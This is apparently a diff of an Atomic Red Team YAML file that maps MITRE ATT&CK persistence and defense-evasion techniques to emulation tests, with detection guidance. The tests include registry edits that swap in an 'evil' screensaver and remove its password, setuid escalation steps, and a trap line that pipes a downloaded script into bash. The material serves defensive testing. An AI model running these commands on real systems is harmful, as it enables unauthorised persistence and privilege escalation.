+2960,85 @@ persistence: $Shortcut.Save() T1053: technique: + id: attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Scheduled Task description: |- - Utilities such as at and schtasks, along with the Windows Task Scheduler, can be used to schedule programs or scripts to be executed at a date and time. A task can also be scheduled on a remote system, provided the proper authentication is met to use RPC and file and printer sharing is turned on. Scheduling a task on a remote system typically required being a member of the Administrators group on the the remote system. (Citation: TechNet Task Scheduler Security) + Utilities such as [at](https://attack.mitre.org/software/S0110) and [schtasks](https://attack.mitre.org/software/S0111), along with the Windows Task Scheduler, can be used to schedule programs or scripts to be executed at a date and time. A task can also be scheduled on a remote system, provided the proper authentication is met to use RPC and file and printer sharing is turned on. Scheduling a task on a remote system typically required being a member of the Administrators group on the the remote system. (Citation: TechNet Task Scheduler Security) An adversary may use task scheduling to execute programs at system startup or on a scheduled basis for persistence, to conduct remote Execution as part of Lateral Movement, to gain SYSTEM privileges, or to run a process under the context of a specified account. - - Detection: Monitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Monitor process execution from the svchost.exe in Windows 10 and the Windows Task Scheduler taskeng.exe for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in %systemroot%\System32\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. - - Configure event logging for scheduled task creation and changes by enabling the "Microsoft-Windows-TaskScheduler/Operational" setting within the event logging service. (Citation: TechNet Forum Scheduled Task Operational Setting) Several events will then be logged on scheduled task activity, including: (Citation: TechNet Scheduled Task Events) - - *Event ID 106 - Scheduled task registered - *Event ID 140 - Scheduled task updated - *Event ID 141 - Scheduled task removed - - Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns) Look for changes to tasks that do not correlate with known software, patch cycles, etc. Suspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. - - Monitor processes and command-line arguments for actions that could be taken to create tasks. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data. - - Platforms: Windows - - Data Sources: File monitoring, Process command-line parameters, Process monitoring, Windows event logs - - Effective Permissions: Administrator, SYSTEM, User - - Permissions Required: Administrator, SYSTEM, User - - Remote Support: Yes - - Contributors: Travis Smith, Tripwire, Leo Loobeek, @leoloobeek, Alain Homewood, Insomnia Security - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: execution - - kill_chain_name: mitre-attack - phase_name: persistence - - kill_chain_name: mitre-attack - phase_name: privilege-escalation external_references: - - url: https://attack.mitre.org/wiki/Technique/T1053 + - external_id: T1053 + url: https://attack.mitre.org/techniques/T1053 source_name: mitre-attack - external_id: T1053 - - description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. + - external_id: CAPEC-557 + url: https://capec.mitre.org/data/definitions/557.html + source_name: capec + - url: https://technet.microsoft.com/en-us/library/cc785125.aspx + description: Microsoft. (2005, January 21). Task Scheduler and security. Retrieved + June 8, 2016. + source_name: TechNet Task Scheduler Security + - url: https://technet.microsoft.com/en-us/sysinternals/bb963902 + description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016. source_name: TechNet Autoruns - url: https://technet.microsoft.com/en-us/sysinternals/bb963902 - - description: Satyajit321. (2015, November 3). Scheduled Tasks History Retention + - url: https://twitter.com/leoloobeek/status/939248813465853953 + description: Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved + December 12, 2017. + source_name: Twitter Leoloobeek Scheduled Task + - url: https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen + description: Satyajit321. (2015, November 3). Scheduled Tasks History Retention settings. Retrieved December 12, 2017. source_name: TechNet Forum Scheduled Task Operational Setting - url: https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen - - description: Microsoft. (n.d.). General Task Registration. Retrieved December + - url: https://technet.microsoft.com/library/dd315590.aspx + description: Microsoft. (n.d.). General Task Registration. Retrieved December 12, 2017. source_name: TechNet Scheduled Task Events - url: https://technet.microsoft.com/library/dd315590.aspx - - description: Microsoft. (2005, January 21). Task Scheduler and security. Retrieved - June 8, 2016. - source_name: TechNet Task Scheduler Security - url: https://technet.microsoft.com/en-us/library/cc785125.aspx - - description: Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved - December 12, 2017. - source_name: Twitter Leoloobeek Scheduled Task - url: https://twitter.com/leoloobeek/status/939248813465853953 object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-05-31T21:30:46.977Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows + x_mitre_version: '1.0' + x_mitre_contributors: + - Leo Loobeek, @leoloobeek + - Travis Smith, Tripwire + - Alain Homewood, Insomnia Security x_mitre_data_sources: - File monitoring - - Process command-line parameters - Process monitoring + - Process command-line parameters - Windows event logs - x_mitre_effective_permissions: + x_mitre_detection: |- + Monitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Monitor process execution from the svchost.exe in Windows 10 and the Windows Task Scheduler taskeng.exe for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in %systemroot%\System32\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. + + Configure event logging for scheduled task creation and changes by enabling the "Microsoft-Windows-TaskScheduler/Operational" setting within the event logging service. (Citation: TechNet Forum Scheduled Task Operational Setting) Several events will then be logged on scheduled task activity, including: (Citation: TechNet Scheduled Task Events) + + * Event ID 106 - Scheduled task registered + * Event ID 140 - Scheduled task updated + * Event ID 141 - Scheduled task removed + + Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns) Look for changes to tasks that do not correlate with known software, patch cycles, etc. Suspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. + + Monitor processes and command-line arguments for actions that could be taken to create tasks. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086), so additional logging may need to be configured to gather the appropriate data. + x_mitre_permissions_required: - Administrator - SYSTEM - User - x_mitre_permissions_required: - - Administrator + x_mitre_effective_permissions: - SYSTEM + - Administrator - User x_mitre_remote_support: true - x_mitre_contributors: - - Travis Smith, Tripwire - - Leo Loobeek, @leoloobeek - - Alain Homewood, Insomnia Security - id: attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9 - modified: '2018-04-18T17:59:24.739Z' - type: attack-pattern + x_mitre_platforms: + - Windows + type: attack-pattern + kill_chain_phases: + - phase_name: execution + kill_chain_name: mitre-attack + - phase_name: persistence + kill_chain_name: mitre-attack + - phase_name: privilege-escalation + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2017-05-31T21:30:46.977Z' identifier: T1053 atomic_tests: - name: At.exe Scheduled task @@ -3059,61 +3105,54 @@ persistence: ' T1180: technique: + id: attack-pattern--2892b9ee-ca9f-4723-b332-0dc6e843a8ae + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Screensaver description: |- Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension. (Citation: Wikipedia Screensaver) The Windows screensaver application scrnsave.exe is located in C:\Windows\System32\ along with screensavers included with base Windows installations. The following screensaver settings are stored in the Registry (HKCU\Control Panel\Desktop\) and could be manipulated to achieve persistence: - *SCRNSAVE.exe - set to malicious PE path - *ScreenSaveActive - set to '1' to enable the screensaver - *ScreenSaverIsSecure - set to '0' to not require a password to unlock - *ScreenSaverTimeout - sets user inactivity timeout before screensaver is executed + * SCRNSAVE.exe - set to malicious PE path + * ScreenSaveActive - set to '1' to enable the screensaver + * ScreenSaverIsSecure - set to '0' to not require a password to unlock + * ScreenSaverTimeout - sets user inactivity timeout before screensaver is executed Adversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity. (Citation: ESET Gazer Aug 2017) - - Detection: Monitor process execution and command-line parameters of .scr files. Monitor changes to screensaver configuration changes in the Registry that may not correlate with typical user behavior. - - Tools such as Sysinternals Autoruns can be used to detect changes to the screensaver binary path in the Registry. Suspicious paths and PE files may indicate outliers among legitimate screensavers in a network and should be investigated. - - Platforms: Windows - - Data Sources: Process Monitoring, Process command-line parameters, Windows Registry, File monitoring - - Permissions Required: User - - Contributors: Bartosz Jerzman - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: persistence external_references: - - url: https://attack.mitre.org/wiki/Technique/T1180 + - external_id: T1180 + url: https://attack.mitre.org/techniques/T1180 source_name: mitre-attack - external_id: T1180 - - description: Wikipedia. (2017, November 22). Screensaver. Retrieved December + - url: https://en.wikipedia.org/wiki/Screensaver + description: Wikipedia. (2017, November 22). Screensaver. Retrieved December 5, 2017. source_name: Wikipedia Screensaver - url: https://en.wikipedia.org/wiki/Screensaver - - description: 'ESET. (2017, August). Gazing at Gazer: Turla’s new second stage + - url: https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf + description: 'ESET. (2017, August). Gazing at Gazer: Turla’s new second stage backdoor. Retrieved September 14, 2017.' source_name: ESET Gazer Aug 2017 - url: https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2018-01-16T16:13:52.465Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows + x_mitre_version: '1.0' + x_mitre_contributors: + - Bartosz Jerzman x_mitre_data_sources: - - Process Monitoring + - Process monitoring - Process command-line parameters - Windows Registry - File monitoring + x_mitre_detection: |- + Monitor process execution and command-line parameters of .scr files. Monitor changes to screensaver configuration changes in the Registry that may not correlate with typical user behavior. + + Tools such as Sysinternals Autoruns can be used to detect changes to the screensaver binary path in the Registry. Suspicious paths and PE files may indicate outliers among legitimate screensavers in a network and should be investigated. x_mitre_permissions_required: - User - x_mitre_contributors: - - Bartosz Jerzman - id: attack-pattern--2892b9ee-ca9f-4723-b332-0dc6e843a8ae - modified: '2018-04-18T17:59:24.739Z' + x_mitre_platforms: + - Windows type: attack-pattern + kill_chain_phases: + - phase_name: persistence + kill_chain_name: mitre-attack + modified: '2018-10-31T13:45:13.024Z' + created: '2018-01-16T16:13:52.465Z' identifier: T1180 atomic_tests: - name: Set Arbitrary Binary as Screensaver @@ -3138,8 +3177,83 @@ persistence: reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaverIsSecure /t REG_SZ /d 0 /f reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v SCRNSAVE.EXE /t REG_SZ /d "%SystemRoot%\System32\evilscreensaver.scr" /f shutdown /r /t 0 + T1166: + technique: + id: attack-pattern--c0df6533-30ee-4a4a-9c6d-17af5abdf0b2 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + name: Setuid and Setgid + description: |- + When the setuid or setgid bits are set on Linux or macOS for an application, this means that the application will run with the privileges of the owning user or group respectively (Citation: setuid man page). Normally an application is run in the current user’s context, regardless of which user or group owns the application. There are instances where programs need to be executed in an elevated context to function properly, but the user running them doesn’t need the elevated privileges. Instead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications. These bits are indicated with an "s" instead of an "x" when viewing a file's attributes via ls -l. The chmod program can set these bits with via bitmasking, chmod 4777 [file] or via shorthand naming, chmod u+s [file]. + + An adversary can take advantage of this to either do a shell escape or exploit a vulnerability in an application with the setsuid or setgid bits to get code running in a different user’s context. Additionally, adversaries can use this mechanism on their own malware to make sure they're able to execute in elevated contexts in the future (Citation: OSX Keydnap malware). + external_references: + - external_id: T1166 + url: https://attack.mitre.org/techniques/T1166 + source_name: mitre-attack + - url: https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/ + description: Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware + is hungry for credentials. Retrieved July 3, 2017. + source_name: OSX Keydnap malware + - url: http://man7.org/linux/man-pages/man2/setuid.2.html + description: Michael Kerrisk. (2017, September 15). Linux Programmer's Manual. + Retrieved September 21, 2018. + source_name: setuid man page + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + x_mitre_detection: Monitor the file system for files that have the setuid or + setgid bits set. Monitor for execution of utilities, like chmod, and their + command-line arguments to look for setuid or setguid bits being set. + x_mitre_data_sources: + - File monitoring + - Process monitoring + - Process command-line parameters + x_mitre_effective_permissions: + - Administrator + - root + x_mitre_platforms: + - Linux + - macOS + x_mitre_permissions_required: + - User + type: attack-pattern + kill_chain_phases: + - phase_name: privilege-escalation + kill_chain_name: mitre-attack + - phase_name: persistence + kill_chain_name: mitre-attack + modified: '2018-10-31T13:45:13.024Z' + created: '2017-12-14T16:46:06.044Z' + identifier: T1166 + atomic_tests: + - name: Setuid and Setgid + description: 'Setuid and Setgid + +' + supported_platforms: + - macos + - centos + - ubuntu + - linux + input_arguments: + payload: + description: hello.c payload + type: path + default: hello.c + executor: + name: manual + steps: | + 1. make hello + + 2. sudo chown root hello + + 3. sudo chmod u+s hello + + 4. ./hello T1165: technique: + id: attack-pattern--2ba5aa71-9d15-4b22-b726-56af06d9ad2f + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Startup Items description: "Per Apple’s documentation, startup items execute during the final phase of the boot process and contain shell scripts or other executable files @@ -3155,45 +3269,44 @@ persistence: Mac Malware Persistence). Additionally, since StartupItems run during the bootup phase of macOS, they will run as root. If an adversary is able to modify an existing Startup Item, then they will be able to Privilege Escalate as - well.\n\nDetection: The /Library/StartupItems folder can be monitored - for changes. Similarly, the programs that are actually executed from this - mechanism should be checked against a whitelist. Monitor processes that are - executed during the bootup process to check for unusual or unknown applications - and behavior.\n\nPlatforms: macOS\n\nData Sources: File monitoring, Process - Monitoring\n\nEffective Permissions: root\n\nPermissions Required: Administrator" - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: persistence - - kill_chain_name: mitre-attack - phase_name: privilege-escalation + well." external_references: - - url: https://attack.mitre.org/wiki/Technique/T1165 + - external_id: T1165 + url: https://attack.mitre.org/techniques/T1165 source_name: mitre-attack - external_id: T1165 - - description: Apple. (2016, September 13). Startup Items. Retrieved July 11, + - url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html + description: Apple. (2016, September 13). Startup Items. Retrieved July 11, 2017. source_name: Startup Items - url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html - - description: Patrick Wardle. (2014, September). Methods of Malware Persistence + - url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf + description: Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017. source_name: Methods of Mac Malware Persistence - url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-12-14T16:46:06.044Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - macOS + x_mitre_version: '1.0' x_mitre_data_sources: - File monitoring - - Process Monitoring + - Process monitoring + x_mitre_detection: The /Library/StartupItems folder can be monitored + for changes. Similarly, the programs that are actually executed from this + mechanism should be checked against a whitelist. Monitor processes that are + executed during the bootup process to check for unusual or unknown applications + and behavior. x_mitre_effective_permissions: - root + x_mitre_platforms: + - macOS x_mitre_permissions_required: - Administrator - id: attack-pattern--2ba5aa71-9d15-4b22-b726-56af06d9ad2f - modified: '2018-04-18T17:59:24.739Z' type: attack-pattern + kill_chain_phases: + - phase_name: persistence + kill_chain_name: mitre-attack + - phase_name: privilege-escalation + kill_chain_name: mitre-attack + modified: '2018-10-31T13:45:13.024Z' + created: '2017-12-14T16:46:06.044Z' identifier: T1165 atomic_tests: - name: Startup Items @@ -3230,46 +3343,47 @@ persistence: sudo rm /private/var/db/emondClients/T1165 T1154: technique: + id: attack-pattern--b53dbcc6-147d-48bb-9df4-bcb8bb808ff6 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Trap - description: |- - The trap command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common keyboard interrupts like ctrl+c and ctrl+d. Adversaries can use this to register code to be executed when the shell encounters specific interrupts either to gain execution or as a persistence mechanism. Trap commands are of the following format trap 'command list' signals where "command list" will be executed when "signals" are received. - - Detection: Trap commands must be registered for the shell or programs, so they appear in files. Monitoring files for suspicious or overly broad trap commands can narrow down suspicious behavior during an investigation. Monitor for suspicious processes executed through trap interrupts. - - Platforms: Linux, macOS - - Data Sources: File monitoring, Process Monitoring, Process command-line parameters - - Permissions Required: User, Administrator - - Remote Support: No - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: execution - - kill_chain_name: mitre-attack - phase_name: persistence + description: The trap command allows programs and shells to specify + commands that will be executed upon receiving interrupt signals. A common + situation is a script allowing for graceful termination and handling of common keyboard + interrupts like ctrl+c and ctrl+d. Adversaries can + use this to register code to be executed when the shell encounters specific + interrupts either to gain execution or as a persistence mechanism. Trap commands + are of the following format trap 'command list' signals where + "command list" will be executed when "signals" are received. external_references: - - url: https://attack.mitre.org/wiki/Technique/T1154 + - external_id: T1154 + url: https://attack.mitre.org/techniques/T1154 source_name: mitre-attack - external_id: T1154 object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-12-14T16:46:06.044Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - macOS + x_mitre_version: '1.0' + x_mitre_detection: Trap commands must be registered for the shell or programs, + so they appear in files. Monitoring files for suspicious or overly broad trap + commands can narrow down suspicious behavior during an investigation. Monitor + for suspicious processes executed through trap interrupts. x_mitre_data_sources: - File monitoring - - Process Monitoring + - Process monitoring - Process command-line parameters x_mitre_permissions_required: - User - Administrator + x_mitre_platforms: + - Linux + - macOS x_mitre_remote_support: false - id: attack-pattern--b53dbcc6-147d-48bb-9df4-bcb8bb808ff6 - modified: '2018-04-18T17:59:24.739Z' type: attack-pattern + kill_chain_phases: + - phase_name: execution + kill_chain_name: mitre-attack + - phase_name: persistence + kill_chain_name: mitre-attack + modified: '2018-10-31T13:45:13.024Z' + created: '2017-12-14T16:46:06.044Z' identifier: T1154 atomic_tests: - name: Trap @@ -3290,55 +3404,59 @@ persistence: trap 'nohup curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1154/echo-art-fish.sh | bash' INT T1084: technique: + id: attack-pattern--e906ae4d-1d3a-4675-be23-22f7311c0da4 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Windows Management Instrumentation Event Subscription - description: |- - Windows Management Instrumentation (WMI) can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Adversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system. Adversaries may attempt to evade detection of this technique by compiling WMI scripts. (Citation: Dell WMI Persistence) Examples of events that may be subscribed to are the wall clock time or the computer's uptime. (Citation: Kazanciyan 2014) Several threat groups have reportedly used this technique to maintain persistence. (Citation: Mandiant M-Trends 2015) - - Detection: Monitor WMI event subscription entries, comparing current WMI event subscriptions to known good subscriptions for each host. Tools such as Sysinternals Autoruns may also be used to detect WMI changes that could be attempts at persistence. (Citation: TechNet Autoruns) - - Platforms: Windows - - Data Sources: WMI Objects - - Permissions Required: Administrator, SYSTEM - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: persistence + description: 'Windows Management Instrumentation (WMI) can be used to install + event filters, providers, consumers, and bindings that execute code when a + defined event occurs. Adversaries may use the capabilities of WMI to subscribe + to an event and execute arbitrary code when that event occurs, providing persistence + on a system. Adversaries may attempt to evade detection of this technique + by compiling WMI scripts. (Citation: Dell WMI Persistence) Examples of events + that may be subscribed to are the wall clock time or the computer''s uptime. + (Citation: Kazanciyan 2014) Several threat groups have reportedly used this + technique to maintain persistence. (Citation: Mandiant M-Trends 2015)' external_references: - - url: https://attack.mitre.org/wiki/Technique/T1084 + - external_id: T1084 + url: https://attack.mitre.org/techniques/T1084 source_name: mitre-attack - external_id: T1084 - - description: Dell SecureWorks Counter Threat Unit™ (CTU) Research Team. (2016, + - url: https://www.secureworks.com/blog/wmi-persistence + description: Dell SecureWorks Counter Threat Unit™ (CTU) Research Team. (2016, March 28). A Novel WMI Persistence Implementation. Retrieved March 30, 2016. source_name: Dell WMI Persistence - url: https://www.secureworks.com/blog/wmi-persistence - - description: Kazanciyan, R. & Hastings, M. (2014). Defcon 22 Presentation. + - url: https://www.defcon.org/images/defcon-22/dc-22-presentations/Kazanciyan-Hastings/DEFCON-22-Ryan-Kazanciyan-Matt-Hastings-Investigating-Powershell-Attacks.pdf + description: Kazanciyan, R. & Hastings, M. (2014). Defcon 22 Presentation. Investigating PowerShell Attacks [slides]. Retrieved November 3, 2014. source_name: Kazanciyan 2014 - url: https://www.defcon.org/images/defcon-22/dc-22-presentations/Kazanciyan-Hastings/DEFCON-22-Ryan-Kazanciyan-Matt-Hastings-Investigating-Powershell-Attacks.pdf - - description: 'Mandiant. (2015, February 24). M-Trends 2015: A View from the + - url: https://www2.fireeye.com/rs/fireye/images/rpt-m-trends-2015.pdf + description: 'Mandiant. (2015, February 24). M-Trends 2015: A View from the Front Lines. Retrieved May 18, 2016.' source_name: Mandiant M-Trends 2015 - url: https://www2.fireeye.com/rs/fireye/images/rpt-m-trends-2015.pdf - - description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. + - url: https://technet.microsoft.com/en-us/sysinternals/bb963902 + description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016. source_name: TechNet Autoruns - url: https://technet.microsoft.com/en-us/sysinternals/bb963902 object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-05-31T21:31:05.140Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows + x_mitre_version: '1.0' x_mitre_data_sources: - WMI Objects + x_mitre_detection: 'Monitor WMI event subscription entries, comparing current + WMI event subscriptions to known good subscriptions for each host. Tools such + as Sysinternals Autoruns may also be used to detect WMI changes that could + be attempts at persistence. (Citation: TechNet Autoruns)' x_mitre_permissions_required: - Administrator - SYSTEM - id: attack-pattern--e906ae4d-1d3a-4675-be23-22f7311c0da4 - modified: '2018-04-18T17:59:24.739Z' + x_mitre_platforms: + - Windows type: attack-pattern + kill_chain_phases: + - phase_name: persistence + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2017-05-31T21:31:05.140Z' identifier: T1084 atomic_tests: - name: Persistence @@ -3398,37 +3516,39 @@ persistence: defense-evasion: T1134: technique: + id: attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Access Token Manipulation description: "Windows uses access tokens to determine the ownership of a running - process. A user can manipulate access tokens to make a running process appear + process. A user can manipulate access tokens to make a running process appear as though it belongs to someone other than the user that started the process. - \ When this occurs, the process also takes on the security context associated - with the new token. For example, Microsoft promotes the use of access tokens - as a security best practice. Administrators should log in as a standard user + When this occurs, the process also takes on the security context associated + with the new token. For example, Microsoft promotes the use of access tokens + as a security best practice. Administrators should log in as a standard user but run their tools with administrator privileges using the built-in access - token manipulation command runas. (Citation: Microsoft runas)\n + token manipulation command runas. (Citation: Microsoft runas)\n \ \nAdversaries may use access tokens to operate under a different user or system security context to perform actions and evade detection. An adversary can use built-in Windows API functions to copy access tokens from existing - processes; this is known as token stealing. An adversary must already be - in a privileged user context (i.e. administrator) to steal a token. However, + processes; this is known as token stealing. An adversary must already be in + a privileged user context (i.e. administrator) to steal a token. However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. An adversary can use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system. (Citation: Pentestlab Token Manipulation)\n\nAccess tokens can be leveraged by adversaries through three - methods: (Citation: BlackHat Atkinson Winchester Token Manipulation)\n\n'''Token - Impersonation/Theft''' - An adversary creates a new access token that duplicates + methods: (Citation: BlackHat Atkinson Winchester Token Manipulation)\n\n**Token + Impersonation/Theft** - An adversary creates a new access token that duplicates an existing token using DuplicateToken(Ex). The token can then be used with ImpersonateLoggedOnUser to allow the calling thread to impersonate a logged on user's security context, or with SetThreadToken to assign the impersonated token to a thread. This is useful for when the - target user has a non-network logon session on the system.\n\n'''Create Process - with a Token''' - An adversary creates a new access token with DuplicateToken(Ex) + target user has a non-network logon session on the system.\n\n**Create Process + with a Token** - An adversary creates a new access token with DuplicateToken(Ex) and uses it with CreateProcessWithTokenW to create a new process running under the security context of the impersonated user. This is useful - for creating a new process under the security context of a different user.\n\n'''Make - and Impersonate Token''' - An adversary has a username and password but the + for creating a new process under the security context of a different user.\n\n**Make + and Impersonate Token** - An adversary has a username and password but the user is not logged onto the system. The adversary can then create a logon session for the user using the LogonUser function. The function will return a copy of the new session's access token and the adversary can @@ -3436,91 +3556,89 @@ defense-evasion: user can use the runas command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account.\n\nMetasploit’s Meterpreter payload allows arbitrary token manipulation - and uses token impersonation to escalate privileges. (Citation: Metasploit + and uses token impersonation to escalate privileges. (Citation: Metasploit access token) The Cobalt Strike beacon payload allows arbitrary token impersonation - and can also create tokens. (Citation: Cobalt Strike Access Token)\n\nDetection: - If an adversary is using a standard command-line shell, analysts can detect - token manipulation by auditing command-line activity. Specifically, analysts - should look for use of the runas command. Detailed command-line - logging is not enabled by default in Windows. (Citation: Microsoft Command-line - Logging)\n\nIf an adversary is using a payload that calls the Windows token - APIs directly, analysts can detect token manipulation only through careful - analysis of user network activity, examination of running processes, and correlation - with other endpoint and network behavior. \n\nThere are many Windows API - calls a payload can take advantage of to manipulate access tokens (e.g., LogonUser - (Citation: Microsoft LogonUser), DuplicateTokenEx (Citation: - Microsoft DuplicateTokenEx), and ImpersonateLoggedOnUser (Citation: - Microsoft ImpersonateLoggedOnUser)). Please see the referenced Windows API - pages for more information.\n\nQuery systems for process and thread token - information and look for inconsistencies such as user owns processes impersonating - the local SYSTEM account. (Citation: BlackHat Atkinson Winchester Token Manipulation)\n\nPlatforms: - Windows\n\nData Sources: API monitoring, Access Tokens\n\nEffective Permissions: - SYSTEM\n\nPermissions Required: User, Administrator\n\nContributors: Tom Ueltschi - @c_APT_ure, Travis Smith, Tripwire, Jared Atkinson, @jaredcatkinson, Robby - Winchester, @robwinchester3" - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: defense-evasion - - kill_chain_name: mitre-attack - phase_name: privilege-escalation + and can also create tokens. (Citation: Cobalt Strike Access Token)" external_references: - - url: https://attack.mitre.org/wiki/Technique/T1134 + - external_id: T1134 + url: https://attack.mitre.org/techniques/T1134 source_name: mitre-attack - external_id: T1134 - - description: Microsoft TechNet. (n.d.). Runas. Retrieved April 21, 2017. + - url: https://technet.microsoft.com/en-us/library/bb490994.aspx + description: Microsoft TechNet. (n.d.). Runas. Retrieved April 21, 2017. source_name: Microsoft runas - url: https://technet.microsoft.com/en-us/library/bb490994.aspx - - description: netbiosX. (2017, April 3). Token Manipulation. Retrieved April - 21, 2017. - source_name: Pentestlab Token Manipulation - url: https://pentestlab.blog/2017/04/03/token-manipulation/ - - description: Offensive Security. (n.d.). What is Incognito. Retrieved April + - url: https://www.offensive-security.com/metasploit-unleashed/fun-incognito/ + description: Offensive Security. (n.d.). What is Incognito. Retrieved April 21, 2017. source_name: Metasploit access token - url: https://www.offensive-security.com/metasploit-unleashed/fun-incognito/ - - description: Mudge, R. (n.d.). Windows Access Tokens and Alternate Credentials. + - url: https://msdn.microsoft.com/en-us/library/windows/desktop/aa378184(v=vs.85).aspx + description: Microsoft TechNet. (n.d.). Retrieved April 25, 2017. + source_name: Microsoft LogonUser + - url: https://msdn.microsoft.com/en-us/library/windows/desktop/aa446617(v=vs.85).aspx + description: Microsoft TechNet. (n.d.). Retrieved April 25, 2017. + source_name: Microsoft DuplicateTokenEx + - url: https://msdn.microsoft.com/en-us/library/windows/desktop/aa378612(v=vs.85).aspx + description: Microsoft TechNet. (n.d.). Retrieved April 25, 2017. + source_name: Microsoft ImpersonateLoggedOnUser + - url: https://pentestlab.blog/2017/04/03/token-manipulation/ + description: 